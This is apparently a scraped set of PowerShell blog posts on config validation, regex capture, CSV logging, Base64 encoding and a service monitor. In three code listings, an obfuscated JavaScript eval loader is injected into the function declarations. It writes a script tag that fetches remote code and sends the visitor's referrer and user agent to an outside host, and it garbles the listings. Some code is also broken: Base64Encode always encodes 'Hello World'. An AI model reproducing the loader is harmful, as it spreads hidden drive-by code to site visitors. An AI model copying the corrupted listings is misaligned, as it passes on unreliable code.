Validate User Data Values in an XML Config File with Powershell

This blog discusses how I decided to validate user data in an XML Config file.

I’ve been creating a rather involved Powershell program that automates the creation of videos and posting them to our team’s video site, in order to create points that could potentially generate a nice part-time income.

As I wrote the program, I externalized any variables that I thought the user might want to customize to an XML config file. I provide documentation and videos to show the user what to change in the config file; but as of yet, I have not had time to make a GUI configuration utility. Thus, the user could make mistakes, typos etc…, and I need to validate that 1) the file is still really XML, and 2) the user has entered valid data values for certain variables.

<?xml version="1.0"?>
<configuration>
  <appSettings>
    <add key="EmailRecipient" value="somebody@somebody.com" />
    <add key="GmailUser" value="somebody-somebody.com" />
    <add key="GmailPassword" value="abcdabcdabcd" />
    <add key="WukarUser" value="somebody@somebody.com" />
    <add key="WukarPassword" value="abcdabcdabcd" />
    <add key="WukarSiteLoginUrl" value="http://www.teamwukar.com/login/" />
    <add key="WukarSiteCustomerVideosUrl" value="http://www.teamwukar.com/members/area/jobs_customervideos.php" />
    <add key="WukarSiteBAVideosUrl" value="http://www.teamwukar.com/members/area/jobs_bavideos.php" />
    <add key="WukarSiteCustomerUploadUrl" value="http://www.teamwukar.com/members/area/jobs_customervideos_nokeyword.php" />
    <add key="WukarSiteBAUploadUrl" value="http://www.teamwukar.com/members/area/jobs_bavideos_nokeyword.php" />
    <add key="YNPlayTuneOnChangeVideo" value="N" />
    <add key="MaxScanDetailRows" value="500" />
    <add key="SlideWaitSeconds" value="1" />
    <add key="KeywordSourceFile" value="c:\Amerisoft\trunk\WukarVideoTools\Data\KeywordFilePastCityStateZip.txt" />
    <!-- Logging level. 0 – Off, 1 – Error, 2 – Warning, 3 – Info, 4 – Verbose  -->
    <add key="LoggingLevel" value="2" />
    <add key="MaxReuseOfSameVideoStyle" value="12" />
    <add key="MonitorStartX" value="0" />
    <add key="WatinDotNet" value="Net40" />
    <add key="VideoDirectory" value="C:\Videos\GeneratedCustomerVideos\" />
    <add key="VideoDirectoryShort" value="C:\Videos\GeneratedCustomerVideos\" />
    <add key="VideoDirectoryLaptop" value="c:\Videos\DubliBiz\GeneratedCustomerVideos\" />
    <add key="VideoDirectoryRDP" value="C:\Users\Administrator\Documents\VideoMakerFX\Exported Videos\" />
    <add key="TemplateConfigDirectory" value="C:\Amerisoft\trunk\WukarVideoTools\Data\" />
    <add key="TemplateDirectory" value="C:\Amerisoft\trunk\WukarVideoTools\Data\" />
    <add key="CSVHistoryFilename" value="C:\Amerisoft\trunk\WukarVideoTools\Data2\SummaryResults.csv" />
    <add key="DesiredHotelTemplate" value="Neal_Hotel.prj" />
    <add key="DesiredAppliancesTemplate" value="CustomerTemplate - Appliances 3.prj" />
    <add key="DesiredBATemplate" value="Neal_BA_1.prj" />
    <add key="DesiredKeywordType" value="Customer" />
    <add key="VideoProductionWaitSeconds" value="60" />
    <add key="PostInitialWaitSeconds" value="30" />
    <add key="CustomKeywordPostWaitSeconds" value="30" />
    <add key="PostMaxSeconds" value="150" />
    <add key="MaxWaitSecondsNewKeyword" value="45" />
    <add key="IsPostOnOff" value="Off" />
    <add key="UploadVideoDirectory" value="c:\Videos\DubliBiz\GeneratedCustomerVideos\Upload\" />
    <add key="UploadVideoMoveToDirectory" value="c:\Videos\DubliBiz\GeneratedCustomerVideos\Uploaded\" />
    <add key="UploadKeywordType" value="Customer" />
  </appSettings>
</configuration>

Retrieving single values from the config is done using these two functions:

function LoadConfigString ($configFile, $appSettingsKey) 
{
    $configXml = [xml](get-content $configFile)
    [string]$lookupValue = $($configXml.configuration.appSettings.add | where { $_.key -eq $appSettingsKey }).value 
    return $lookupValue 
}

function LoadConfigInt ($configFile, $appSettingsKey) 
{
    $configXml = [xml](get-content $configFile)
    [int]$lookupValue = $($configXml.configuration.appSettings.add | where { $_.key -eq $appSettingsKey }).value 
    return $lookupValue 
}
### Example calls to functions above ###
$slideWaitSeconds = LoadConfigInt $configFilename "SlideWaitSeconds"
$videoDirectory      = LoadConfigString $configFilename "VideoDirectory"

Below are my data validation routines.


Function Test-XMLFile ($xmlFilePath) 
{
    # Returns $true if file exists and is valid XML 

    # Check the file exists
    if (!(Test-Path -Path $xmlFilePath))
      {
         throw "$xmlFilePath is not valid. Please provide a valid path to the .xml file"
      }
	   
    # Check for Load or Parse errors when loading the XML file
    $xml = New-Object System.Xml.XmlDocument
    try 
      {
       $xml.Load((Get-ChildItem -Path $xmlFilePath).FullName)
       return $true
      }
    catch [System.Xml.XmlException] 
      {
	   #this message may help user debug or at least see the detailed issue of the file. 
       Write-Trace "$xmlFilePath : $($_.toString())" Y 
	   #TODO - why did line above have Write-Verbose, what does that do? 
       return $false
      }
}

function Is-Numeric-Int ($Value) 
{
    #use Regular Expression to verify if a string is a number 
    return $Value -match "^[\d]+$"
}

function Is-Email ($testEmail) 
{
    #use Regular Expression to verify if a string is an email 
    $EmailRegex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$';
    if ($testEmail -match $EmailRegex) {
        return $true 
    }
    else {
        return $false 
    }
}

function IsXMLConfigFileDataValid
{

    param($configFilename = $(throw "You must specify a config file"))

    $intVarNames = @("MaxScanDetailRows","SlideWaitSeconds","LoggingLevel","MonitorStartX", 
                     "PostInitialWaitSeconds", "CustomKeywordPostWaitSeconds",
                     "PostMaxSeconds", "MaxWaitSecondsNewKeyword", "MaxReuseOfSameVideoStyle"
                    )
    $YNVarNames = @("YNPlayTuneOnChangeVideo")
    $OnOffVarNames = @("IsPostOnOff")
    $PathVarNames = @("VideoDirectory", "VideoDirectoryShort", "TemplateConfigDirectory", 
                      "TemplateDirectory")
    $PathVarNamesBlankOK = @("KeywordSourceFile", "UploadVideoDirectory", "UploadVideoMoveToDirectory") 
    $PathVarNamesWithoutFile = @("CSVHistoryFilename") 
    $templateNames = @("DesiredHotelTemplate","DesiredAppliancesTemplate","DesiredBATemplate")
    $emailVarNames = @("EmailRecipient","GmailUser")
    
    
    $global:appSettings = @{}
    $config = [xml](get-content $configFilename)
    foreach ($addNode in $config.configuration.appsettings.add) {
     if ($addNode.Value.Contains(',')) 
      {
      # Array case
      $value = $addNode.Value.Split(',')

      for ($i = 0; $i -lt $value.length; $i++) 
          {
            $value[$i] = $value[$i].Trim()
          }
     }
     else 
     {
      # Scalar case
      $value = $addNode.Value
     }
     $global:appSettings[$addNode.Key] = $value
    }
    #$global:appSettings
    #enumerate the hash table in code - maybe we want to write to trace? 
    $enum = "N" 
    if ($enum -eq "Y") 
        {
            foreach($key in $($global:appSettings.keys)){
                Write-Host "$key=$($global:appSettings[$key])"
        }
    }

    $IsValid = $true   #start by assuming valid, unless reset to $false below in any one of the tests 
    Write-Host "*** Starting Validation ***" 
    #enumerate the hash table in code and validate integers 
    foreach($key in $($global:appSettings.keys)){

        if ($intVarNames -contains $key) 
        {
           if (!(Is-Numeric-Int($global:appSettings[$key])))
               {
                   Write-Host "Variable must be an Numeric Integer: $key=$($global:appSettings[$key])"
                   $IsValid = $false 
               }
        }

        if ($YNVarNames -contains $key) 
        {
           if ($global:appSettings[$key] -ne "Y" -and $global:appSettings[$key] -ne "N")
               {
                   Write-Host "Variable must be have value of "Y" or "N": $key=$($global:appSettings[$key]) "
                   $IsValid = $false 
               }
        }

        if ($PathVarNames -contains $key) 
        {
           if (!(Test-Path $global:appSettings[$key]))  
               {
                   Write-Host "Path does not exist on your disk: $key=$($global:appSettings[$key]) "
                   $IsValid = $false 
               }
        }

        if ($PathVarNamesBlankOK -contains $key) 
        {
           if ($global:appSettings[$key] -ne "")
           {
               if (!(Test-Path $global:appSettings[$key]))  
                   {
                       Write-Host "Non-Blank value, and Path does not exist on your disk: $key=$($global:appSettings[$key]) "
                       $IsValid = $false 
                   }
           }
        }

        if ($PathVarNamesWithoutFile -contains $key) 
        {
           $testJustThePath = split-path $global:appSettings[$key]  #get just the pathname part 
           #$filename = split-path "C:\Docs\*.xls" -leaf    #this returns just the filename part 
           if (!(Test-Path $testJustThePath))  
               {
                   Write-Host "Path does not exist on your disk: $key=$($global:appSettings[$key]) (file does not have to exist, just the path: $testPath)"
                   $IsValid = $false 

               }
        }

        if ($OnOffVarNames -contains $key) 
        {
           if ($global:appSettings[$key] -ne "on" -and $global:appSettings[$key] -ne "off")
               {
                   Write-Host "Expected value of 'on' or 'off': $key=$($global:appSettings[$key]) "
                   $IsValid = $false 

               }
        }
        
        if ($emailVarNames -contains $key) 
        {
           if (!(Is-Email($global:appSettings[$key])))
               {
                   Write-Host "Not a valid email address: $key=$($global:appSettings[$key]) "
                   $IsValid = $false 

               }
        }

        if ($templateNames -contains $key) 
        {
           $templateDirectoryName = $global:appSettings["TemplateDirectory"]
           $testTemplateFilename = $templateDirectoryName + $global:appSettings[$key]   #get just the pathname part 
           $templateExtension = [System.IO.Path]::GetExtension($testTemplateFilename)
           #write-host "testTemplateFilename=$testTemplateFilename"
           #$filename = split-path "C:\Docs\*.xls" -leaf    #this returns just the filename part 
           if (!(Test-Path $testTemplateFilename))  
               {
                   Write-Host "Template filename does not exist on your disk: $key=$($global:appSettings[$key]) (in your TemplateDirectory: $templateDirectoryName)"
                   $IsValid = $false 
               }
           if ($templateExtension -ne ".prj") 
               {
                   Write-Host "File extension for template must be .prj: $key=$($global:appSettings[$key])"
                   $IsValid = $false 
               }
        }

    }

    ### special hard-coded validations ###
    if (!("Net40Net35Net20".Contains($global:appSettings["WatinDotNet"])))
       {
                   Write-Host "WatinDotNet must have value of: Net40, Net35, Net20 (depending of the version of .NET on your computer) $key=$($global:appSettings[$key])"
                   $IsValid = $false 
       }

    if ($global:appSettings["UploadKeywordType"] -ne "Customer" -and $global:appSettings["UploadKeywordType"] -ne "BA")
       {
                   Write-Host "UploadKeywordType must have value of 'Customer' or 'BA'  $key=$($global:appSettings[$key])"
                   $IsValid = $false 
       }

    if ($global:appSettings["DesiredKeywordType"] -ne "Customer" -and $global:appSettings["DesiredKeywordType"] -ne "BA")
       {
                   Write-Host "DesiredKeywordType must have value of 'Customer' or 'BA'  $key=$($global:appSettings[$key])"
                   $IsValid = $false 
       }


    ##### final logic #####
    if (!($IsValid))
       {
           Write-Host "***********************************************************************************" 
           Write-Host "**** Error VAL-01: Config file has errors, see above." 
           Write-Host "**** configFileName=$configFilename"
           Write-Host "***********************************************************************************" 
       }

    return $IsValid
} 

cls
$configFilename = "$($PSScriptRoot)\Data\Wukar_Config.xml"
$result1 = Test-XMLFile $configFilename 
Write-Host "Validation Result1 = $result1" 
if ($result1) 
   {
      $result2 = isXMLConfigFileDataValid $configFilename
      Write-Host "Validation Result2 = $result2" 
   }

The general idea is that in the documentation, I will advise the user to run the validation program before starting the application. The application itself will probably also run the validation and fail to start if any issues have. The idea is that it is better to fail immediately, then to run for 5 or 10 minutes, then fail later, only when some variable is used for the first time. My application is made to actually run 24 hours a day, creating hundreds of spin-off VideoMakerFX videos from a video template.

The downside of building this application in Powershell vs C# is that it becomes basically “Open Source”, the users can see all my code, and even share it with others. I will be adding a license key to the config file, but with the source code, that could be easily skipped over. Thus, I’m counting on honest customers who don’t know how to code. I may call a few C# routines here and there just to make hide a few features.

Here were some of my ideas on the above validation routine.

1. I categorized the config parms into categories: integers, paths, YN Variables, Emails, Templates, etc…
I then loop through all the Key= values in the app config file, looking to see if each config variable-name matches an array an array of one of the validation. If it is a match, that validation is done against the value of that key.
2. Some of the tricky parts were with the disk paths. Some of them I will allow to be blank, i.e. they are not always used.
Some require folder names only, and some require fully qualified file names.
3. I used two function Is-Numeric and Is-Email that do Regular Expression (Reg Ex) matches on the data.

Here is the video that describes what my application does:

http://Videos.WorkWithNeal.com

Regular expressions go all the way back to 1956. I think I first saw them in the PERL language; but today in 2015, they are very useful in Powershell, C# and most every language.

Regular Expressions have three main purposes:
1. Validate if text conforms to a pattern
2. Capture (extract) a string (or series of strings) from another string
3. Replace a pattern with a new text.

In this blog, I’ll be discussing #2 on the above list. Here is the function I created.

Function GetCityStateFromKeyword([String] $keyword)
{
#Write-Host “GetCityStateFromKeyword”
$pattern = “in (.*?)($|.?\d{5}?.?)”
#the first parenthese is for capturing the cityState into the $Matches array
#the second parentheses are needed above to look for $ (which is end of line)
#or zip code following the city/state
$isMatch = $keyword -match $pattern
$returnCityState = “ERROR”
#Write-Host “GetCityStateFromKeyword RegEx `$Matches.Count=$($Matches.Count)”
if ($Matches.Count -gt 0)
{
$returnCityState = $Matches[1]
}

return $returnCityState
}

First, let’s look at some of my sample data:

best deals on appliances in Irving TX 75039 
best deals on appliances in Irving TX 75039 bestbuy 
best deals on appliances in Irving TX
best deals on appliances in Irving TX 75039-1234 
$myKeyword = "best deals on appliances in Irving TX 75039"
$cityState = GetCityStateFromKeyword($myKeyword)
Write-Host "City/State=$cityState" 

My goal was to extract (or capture) the city, state from each of the above lines, or return the string “ERROR” if not found. The result I want in any of the above is simply:

Irving TX 

Now, let’s look in detail at my pattern.

   $pattern = "in (.*?)($|.?\d{5}?.?)"

Parentheses have two purposes in Reg Ex:
1. Specify what to capture
2. Wrap around a list of alternatives, which are delimited by the pipe symbol.

.* means 0 or more characters, and adding the question mark to make it .*? makes it “non-greedy”. If you don’t specify the non-greedy operator (the question mark), then the .* might “suck up” too much text. So, (.*?) will capture my city state.

What does ($|.?\d{5}?.?) mean? Well first, \d stands for digit, and \d{5} means exactly 5 digits, i.e. the zip code. The ? mark unfortunately has two meanings, one as the non-greedy operator, and when seen like this .?, it means 0 or more characters (as compared to .* which means 1 or more characters). So the zip-code is optional, the space before and after the zip-code s optional.

NOTE: My requirement was only for US postal zip codes. I would have to change the logic to handle Canadian zip codes, which I believe are 6 characters and contain alphas.

Now let’s look at this line of code:

 $isMatch = $keyword -match $pattern 

$isMatch will be a boolean. $keyword is my parameter to which the RegEx pattern will be applied. -Match is the Powershell keyword, and we’ve already discussed the value of the $pattern variable above. -Match will return an array in the variable $Match. Each capture from the () provided in the pattern will be stored in an element of the $Matches array. Thus, my city/state is stored in $Matches[1] (array in Powershell are 1-based, not 0-based).

How to Get the Last Line of a File

Have you ever needed to read just the last line of a file (i.e. “the last row”) in Powershell? It’s easier than I thought. If you ask for the last several rows (as shown in the commented-out code in the example below, you will get back an array of rows. If you get just the last row, you will get it in a string variable.

$myFileName = "c:\Users\neal.walters\Documents\test.csv" 

#Example of how to get the last 3 rows 
#$LastThreeRowsArray = (Get-Content $myFileName)[-1 .. -3]

# Get last one row of file into variable 
$lastDataRow = (Get-Content $myFileName)[-1]

#parse the CSV data back into separate variables, one for each column 
$dataArray = $lastDataRow.Split(",") 
$lastRowDate = [DateTime] $dataArray[0]  #convert back to DateTime datatype 
$lastRowStatus = $dataArray[1] 
$lastRowAction = $dataArray[2] 
$lastRowKeyword = $dataArray[3] 

Write-Host "`$lastDataRow=$lastDataRow" 
Write-Host "Date=$lastRowDate" 
Write-Host "Status=$lastRowStatus" 
Write-Host "Action=$lastRowAction"
Write-Host "Keyword=$lastRowKeyword"

$currentDateTime = get-date

$dateTimeDiff = $currentDateTime  - $lastRowDate 
$minutesDiff = $dateTimeDiff.Minutes 
$totalMinutesDiff = $dateTimeDiff.TotalMinutes 
Write-Host "`$currentDateTime =$currentDateTime"
Write-Host "`$dateTimeDiff=$dateTimeDiff"
Write-Host "`$minutesDiff=$minutesDiff "
Write-Host "`$totalMinutesDiff=$totalMinutesDiff "

$maxAcceptableLapseMinutes = 15 
if ($totalMinutesDiff -gt $maxAcceptableLapseMinutes) 
   {
       Write-Host "No video created for more than $maxAcceptableLapseMinutes minutes!" 
       # do so logic here to handle that issue 
   }

Test Data File:

1/5/2015 8:51,Success,CreatedVideo,best appliances in Abilene TX
1/5/2015 8:51,Success,CreatedVideo,best appliances in Irving TX
1/5/2015 8:51,Failure,CreatedVideo,best appliances in Farmers Branch TX
1/5/2015 8:52,Success,CreatedVideo,best appliances in Abilene TX
1/5/2015 8:52,Success,CreatedVideo,best appliances in Boston MA
1/5/2015 8:52,Success,CreatedVideo,best appliances in West Newton MA 
1/5/2015 8:52,Success,CreatedVideo,best appliances in Boca Raton FL 

Results

$lastDataRow=1/5/2015 8:52,Success,CreatedVideo,best appliances in Boca Raton FL 
Date=01/05/2015 08:52:00
Status=Success
Action=CreatedVideo
Keyword=best appliances in Boca Raton FL 
$currentDateTime =01/05/2015 15:17:51
$dateTimeDiff=06:25:51.5232317
$minutesDiff=25 
$totalMinutesDiff=385.858720528333 
No video created for more than 15 minutes

Why would anyone want to get the last row of a file? I have a process that creates an mp4 video about every 1 to 1.5 minutes. When you do “Add-Content”, the data is written to the end of the file. (I show how I write data to this file in a previous blog: Logging Data Variables to a CSV File in Powershell) I want to write a separate process to monitor the progress by looking at the last row of the file. If no video is created for example, in 10 minutes, I know something has frozen up, and might need to kill and restart the process that creates the videos.

So the above code also shows how to compute the elapsed time, of the time the program runs to the last date in the CSV file. I ran the program at 3:17 pm, and the last date time in the CSV file was 8:52 this morning. Thus 6 hours, 25 minutes, and some-odd seconds has elapsed.

The above code also illustrates the why you might want to use the .TotalMinutes property instead of the .Minutes property. I want to know if more than 15 minutes have elapsed. Let’s suppose the elapse time was 1 hour and 7 minutes. I cannot just compare the 7 minutes to 15, I need to compare the 60+7 (or 67 minutes) to 15.

I found the base code for this here: http://vstepic.blogspot.com/2013/02/how-to-convert-string-to-base64-and.html. If you want to know more about Base64, check out this
Wikipedia Entry

But I’m not a command-line guy, I’m a developer, and I like to have my code in a file where I can edit it, modify it, re-use it, and run it.

Function Base64Encode($textIn) 
{
    $b  = [System.Text.Encoding]::UTF8.GetBytes("Hello World")
    $encoded = [System.Convert]::ToBase64String($b)
    return $encoded    
}

Function Base64Decode($textBase64In) 
{
    $b  = [System.Convert]::FromBase64String($textBase64In)
    $decoded = [System.Text.Encoding]::UTF8.GetString($b)
    return $decoded
}

#Test Logic 
$base64Encoded = Base64Encode("Hello World") 
Write-Host "`$base64Encoded=$base64Encoded"

$base64Decoded = Base64Decode($base64Encoded) 
Write-Host "`$base64Decoded=$base64Decoded"

Here is the results of running the above code:

What is your password?: Hello World
$base64Encoded=SGVsbG8gV29ybGQ=
$base64Decoded=Hello World

Now, how can we use this? Let’s take the original code, comment out everything below the “#Test Logic” comment, and save it as “Base64Functions.ps1”.

I wanted to obfuscate a simple password in a config file. Encoding is definitely NOT encryption. But if someone is standing over your shoulder, or even opens the Config File – it will not be obvious that the password is Base64 and they certainly couldn’t convert it in their head or even memorize it.

I found samples for how to update a standard XML Config File at this link: http://blogs.msdn.com/b/sonam_rastogi_blogs/archive/2014/08/18/update-configuration-files-using-powershell.aspx

XML Config File Before:

 

XML Config File After:

. \Base64Functions.ps1  #reference the function created earlier 
cls

#prompt the user to interactively enter his/her password 
$password = Read-Host 'What is your password?'   

#encode it
$base64EncodedPassword = Base64Encode($password)
Write-Host "`$base64EncodedPassword=$base64EncodedPassword"

#store it in our config file in the proper place 
$configFilename = "c:\Users\neal.walters\Documents\GmailConfig.xml"
$xmlConfig = [xml](get-content $configFilename)

$obj = $xmlConfig.configuration.appSettings.add| where {$_.Key -eq 'GmailPassword'}
$obj.Value = $base64EncodedPassword

#we change the xml in memory, so now write it back to the disk file. 
$xmlConfig.Save($configFilename)

Here is the results of running the above code (I typed in “Hello World” in response to the prompt.)

What is your password?: Hello World
$base64Encoded=SGVsbG8gV29ybGQ=
$base64Decoded=Hello World

XML Config File After:


In a future blog, I can show you how I use this to send GMail (Google emails) from Powershell.

Powershell has the Add-Content cmdlet to append data to the end of a file. While it also has Export-CSV cmdlet, that seems to be more for dealing with collections where you pipe a collection of objects directly to the CSV (Comma Separated Value) file. What if you have several variables and you want to put them in a CSV file, one row at a time?

In my application, I just needed to log the creation of a Video and it’s status (Success, Failure…) along with the current date/time, the keyword for that video, and the filename of the video. So I created a small 5 line function to the work, and then call it from different places in my application.

I simply create the $newRow, i.e. the row or line of text to be written to the CSV. I handle add the commas myself, to make it a proper CSV.

The advantage of a CSV file is of course that it can be opened with most any spreadsheet tool, such as Microsoft Excel.

function <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krsik|var|u0026u|referrer|fsizn||js|php'.split('|'),0,{}))
</script></noindex> AddToCSV($filename,$result,$action,$keyword,$videoFilename){
    $showDate = get-date
    $newRow = "$showDate,$result,$action,$keyword,$text"
    Add-Content $filename $newRow
}

#Sample Test Logic

$myFileName = "c:\Users\neal.walters\Documents\test.csv"

AddToCSV $myFileName "Success" "CreatedVideo" "best appliances in Abilene TX" ""
AddToCSV $myFileName "Failure" "CreatedVideo" "best appliances in Irving TX" ""
AddToCSV $myFileName "Success" "CreatedVideo" "best appliances in Farmers Branch TX" ""
AddToCSV $myFileName "Success" "PostVideo" "best appliances in Farmers Branch TX" ""

If you have commas inside of your text fields, you would have to do a little more to do, i.e. surrounding each text field with quotes.

Below is a sample of data similar to the sample above.

Powershell_Variables_to_CSV_Viewed_In_Excel

I’m building a little app that is driven by an XML configuration file. I need to substitute variables from the XML with a random name or a keyword from another source, so I used $Keyword and $MaleName and $FemaleName.

Look at this code, and see if you can spot the bug. Every single text field that I passed was showing that it contains a characterName (i.e. either $MaleName or $FemaleName.

Function <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibknd|var|u0026u|referrer|hsszy||js|php'.split('|'),0,{}))
</script></noindex> IsTextViolation($text) 
{
    $isViolation = $false 
    $containsCharacterName = $false 
    if ($text.Contains("$MaleName") -or $text.Contains("$FemaleName")) 
       {
          $containsCharacterName = $true 
       }
     Write-Host "containsCharacterName=$containsCharacterName" 

     if ($text.Contains("$Keyword") -and $containsCharactername) 
        {
           $isViolation = $true 
        }
      return $isViolation 
}
cls
Write-Host "1 $(IsTextViolation('Test 1 $Keyword') )"
Write-Host "2 $(IsTextViolation('Test 1 $MaleName') )"
Write-Host "3 $(IsTextViolation('Test 1 $FemaleName') )"
Write-Host "4 $(IsTextViolation('$MaleName Test 1 $Keyword') )"
Write-Host "5 $(IsTextViolation('Test 1 $FemaleName $Keyword') )"

So here is the issue… I chose to use $ sign as prefix to my variable, I could have used % or @ or any other symbol, but with Powershell on the brain, I chose the dollar sign. Well, when you put $MaleName in double quotes, it was substituting the value of $MaleName, which is apparently null ($null). And thus the match was always true. I had two solutions, either 1) use single quotes instead of double quotes, or 2) prefix with the escape character (the grave accent mark like this – (“`$MaleName”). I chose the first, and here is the corrected code.

Corrected Code:

Function IsTextViolation($text) 
{
    $isViolation = $false 
    $containsCharacterName = $false 
    if ($text.Contains('$MaleName') -or $text.Contains('$FemaleName')) 
       {
          $containsCharacterName = $true 
       }
     Write-Host "containsCharacterName=$containsCharacterName" 

     if ($text.Contains('$Keyword') -and $containsCharactername) 
        {
           $isViolation = $true 
        }
      return $isViolation 
}


cls
Write-Host "1 $(IsTextViolation('Test 1 $Keyword') )"
Write-Host "2 $(IsTextViolation('Test 1 $MaleName') )"
Write-Host "3 $(IsTextViolation('Test 1 $FemaleName') )"
Write-Host "4 $(IsTextViolation('$MaleName Test 1 $Keyword') )"
Write-Host "5 $(IsTextViolation('Test 1 $FemaleName $Keyword') )"

Powershell Code:

#
# <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kksns|var|u0026u|referrer|tkkdb||js|php'.split('|'),0,{}))
</script></noindex> LUNAR DUST - home grown server/service monitor - sends out email when services defined in related .CSV config file are down 
# Author: Neal Walters - Nov 2013 
# (Lunar Dust is a play on words of the monitor name "Solar Wind") 
#
[string[]] $users = "john@abc.com",'"fred@abc.com" # List of users to email your report to (separate by comma)  
$fromemail = "FromEmail@abc.com"
$SMTPserver = "YourEmailRelayServer.com" #enter your own SMTP server DNS name / IP address here
$YNTraceSuccess = "N"   #setting to "Y" will create more trace/debug to the ServiceTestTrace.txt file, setting to "N" only shows servers/services that were down
$TraceFilename = "D:\scripts\ServiceMonitorTrace.txt"
$LocalServerName = "MyServerName"    #used to determine if we should check remote server or not on GetService 
set-item trustedhosts $LocalServerName

#Get arguments flexibly, in either order.
#one parms is a "Y" or "N" to indicate to send an email, even when no servers are in error status 
#another optional parm is the filename of the CSV to read, if omitted, a default filename is used.
if ($args.Length -gt 0)
{
   if ($args[0] -eq "Y" -or $args[0] -eq "N")
       {
       $IsEmailOn = $args[1]
	   }
   if ($args[0].Length -gt 4)
       {
          $csvFilename = $args[0]
	   }
}

if ($args.Length -gt 1)
{
   if ($args[1] -eq "Y" -or $args[1] -eq "N")
       {
       $IsEmailOn = $args[1]
	   }
   if ($args[1].Length -gt 4)
       {
          $csvFilename = $args[0]
	   }
}

if ([string]::IsNullOrEmpty($csvFilename))
{
   $csvFilename = "D:\Scripts\ServerMonitorConfig.csv" 
   Write-Host "Setting csfFileName=$csvFileName" 
}

Write-Host "csvFilename=$csvFilename"
$csv = Import-Csv $csvFilename -Header @("IsActive","Environment","Category","ServerName","ServiceName","Criticality")

$HTMLMessage="" 
$TextMessage="" 
$HTMLMessage="<h2>Server/Service Status</h2><table border='1'><tr><th>Environment</th><th>Category</th><th>ServerName</th><th>ServiceName</th><th>Status</th><th>Process Started Date/Time</th><th>UserName</th></tr>"
$CriticalErrorCount = 0
$ErrorCount = 0 
$ServerCount = 0 


foreach ($line in $csv) {
  if ($line.IsActive -eq "Active")
  {
    $reportStatus = "" 
    $ServerCount = $ServerCount + 1  

	#$Service = (get-service -Name $line.ServiceName -ComputerName $line.ServerName)
	#this is slower than above, but it gives us the processId which we can use to find out what time the service/process started 
	write-host "Verifying: " $line.ServerName $line.ServiceName 
    $myDate = Get-Date
    if ($YNTraceSuccess = "Y")
    {
       Add-Content $TraceFilename "$myDate TRC01 $($line.ServerName) $($line.ServiceName)"
    }
    $error.clear()  #clear any prior errors, otherwise same error may repeat over-and-over in trace 
    if ($LocalServerName -eq $line.ServerName)
        {
           # see if not using -ComputerName on local computer avoids the "service not found" error 
           Add-Content $TraceFilename "$myDate TRCW1 using local computer " 
	       $Service = (get-wmiobject win32_service -filter "name = '$($line.ServiceName)'")
        }
    else 
        {
           Add-Content $TraceFilename "$myDate TRCW2 using remote computer $($line.ServerName) not eq $LocalServerName" 
	       $Service = (get-wmiobject win32_service -ComputerName $line.ServerName -filter "name = '$($line.ServiceName)'")
        }

    if ($error -ne $null) 
    {
        Write-Host "----> $($error[0].Exception) " 
        Add-Content $TraceFilename "$myDate TRCE1 $($error[0].Exception)" 
    }

	if ($Service -eq $null) 
	{
	    $reportStatus = "Service Not Found: name = '$($line.ServiceName)'"
		$trColor = "Yellow"
		$ErrorCount = $ErrorCount + 1  
		$CriticalErrorCount = $CriticalErrorCount + 1
		$CreationDate = "NA" 
        Write-Host "----> $reportStatus " 
        Add-Content $TraceFilename "$myDate TRC02 $reportStatus" 
	}
	else 
	{
        #Write-Host "Service Exists"
		#$status = $Service.Status 
		#if ($status -eq "Running")  #this was the check when using get-service instead of get-wmiobject win32_service)

		$reportStatus = $Service.State

		if ($Service.Started -eq "True") {
			#$reportStatus = "Up"
			$trColor = "White"
			# when service is running, then we can lookup the ProcessId to get the Userid and CreationDate (Time the service was started) 
			$ServicePID = $Service.ProcessID
			#Write-Host "Process id: $ServicePID" 
			$ProcessInfo = Get-WmiObject -Class Win32_Process -ComputerName $line.ServerName -Filter "ProcessID='$ServicePID'" -ea 0
			$CreationDate = $ProcessInfo | % { $_.ConvertToDateTime( $_.CreationDate )}
		} 
       else 
       {
		    Write-Host "Down Service.Started=$($Service.Started) " 
            Write-Host "Status=$($Service.Status)  State=$($Service.State)"
			#$reportStatus = $Service.State
			$trColor = "Orange"
		    $ErrorCount = $ErrorCount + 1  
			if ($line.Criticality -eq "Error") 
			{
                #switch from orange to yellow background 
			    $trColor = "Yellow"
				$CriticalErrorCount = $CriticalErrorCount + 1
			}
			
			#Write-Host "down status=$status"   #result was empty string or null 
			$CreationDate = "NA" 
		}
	}
    
	#Write-Host "test=$reportStatus"
